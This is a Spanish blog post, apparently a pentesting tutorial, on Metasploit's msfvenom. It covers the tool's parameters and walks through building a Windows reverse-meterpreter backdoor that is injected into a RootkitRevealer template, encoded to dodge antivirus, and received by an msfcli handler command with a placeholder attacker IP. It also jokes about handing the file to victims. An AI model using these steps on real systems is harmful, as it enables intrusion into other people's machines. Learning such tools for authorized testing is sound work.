Esta herramienta que pertenece al framework de Metasploit, no dispone de una larga vida... allá por 2011 es cuando explota y muestra su potencial y flexibilidad. Más bien, su flexibilidad, ya que el potencial ya es conocido, ¿Por qué es conocido? Realmente msfvenom es la unión de msfpayload y msfencode. Como recordatorio decir que msfpayload se encarga de generar payloads para distintas plataformas, mientras que msfencode se encarga de codificar dichos payloads con el objetivo de evadir la detección mediante el uso de antivirus.
Hay que comentar que la riqueza semántica que aporta msfvenom es digna de mencionar. Normalmente, este tipo de aplicaciones, como son las predecesoras msfpayload y msfencode, proporcionan parámetros del estilo -<letra>, lo cual no aporta mucha información al auditor, atacante, usuario casero o quien quiera que lo esté usando... Con msfvenom se dispone de parámetros semánticos, lo cual hace que la aplicación sea realmente intuitiva y sencilla de utilizar.
Beneficios de msfvenom
Los beneficios de msfvenom se enumeran a continuación:
- Se simplifica la generación de payloads y los intentos de codificación de éstos.
- Se presenta como una herramienta estándar que ayuda a los auditores y a cualquier usuario su manejo. Es realmente intuitiva y con fácil aprendizaje.
- El rendimiento ha sido mejorado considerablemente. La velocidad con la que msfvenom trabaja es claramente más alta que el uso de msfpayload y msfencode por separado. Esto es bastante lógico debido a que se evita el paso de información entre distintos procesos, y toda acción es realizada por el mismo proceso.
- Payload. Este parámetro especifica el payload que se utilizará.
- Encoder. Este parámetro especifica el algoritmo que se utilizará para realizar la codificación.
- Format. Especifica el formato, normalmente EXE :D
- Bad-chars. Este parámetro indica un listado de bytes que no se deben generar en el proceso de obtención del payload. Por ejemplo, si se quieren evitar los bytes nulos '\x00' se añaden en la lista de este parámetro.
- Iterations. Indica el número de iteraciones que se ejecutará el algoritmo del encoder.
- Template. Indica la plantilla de ejecutable que se utilizará.
- Keep. Especifica que el payload se ejecutará en un thread y no en el main del ejecutable. Con esta opción se implementa la técnica de plantilla personalizada sigilosa.
En este breve ejemplo se utilizará msfvenom para crear un ejecutable para sistemas windows con el que, cuando la víctima ejecute el archivo devolverá el control de la máquina al atacante. En primer lugar el atacante utiliza msfcli para lanzar el manejador, configurado para recibir sesiones inversas de meterpreter. La orden sería la siguiente msfcli exploit/multi/handler lhost=<ip atacante> lport=<puerto atacante> payload=windows/meterpreter/reverse_tcp.
Ahora, creamos el ejecutable de la siguiente manera:
Una vez que el archivo es creado se debe distribuir, aquí ya... ya sabéis: "El límite es tu imaginación". Ahora, una vez que la víctima ejecute el archivo recibiremos la sesión inversa, teniendo una sesión de meterpreter, con todo lo que ello conlleva! que no es poco... :D
Análisis de virus total
Por último, hablaremos de un análisis sobre el ejecutable que hemos creado. Hay que tener en cuenta que en la prueba de concepto hemos utilizado una plantilla, que es el ejecutable de RootkitRevealer, para inyectarle un payload. ¿Cuantos antivirus salvaremos? En la siguiente imagen se puede visualizar los resultados.
Metasploit da mucho juego, y el framework aporta una riqueza y flexibilidad a los pentesters inigualable. En Flu Project creemos que a finales de año y principios del proximo será el año Metasploit! Esperemos que así sea... :D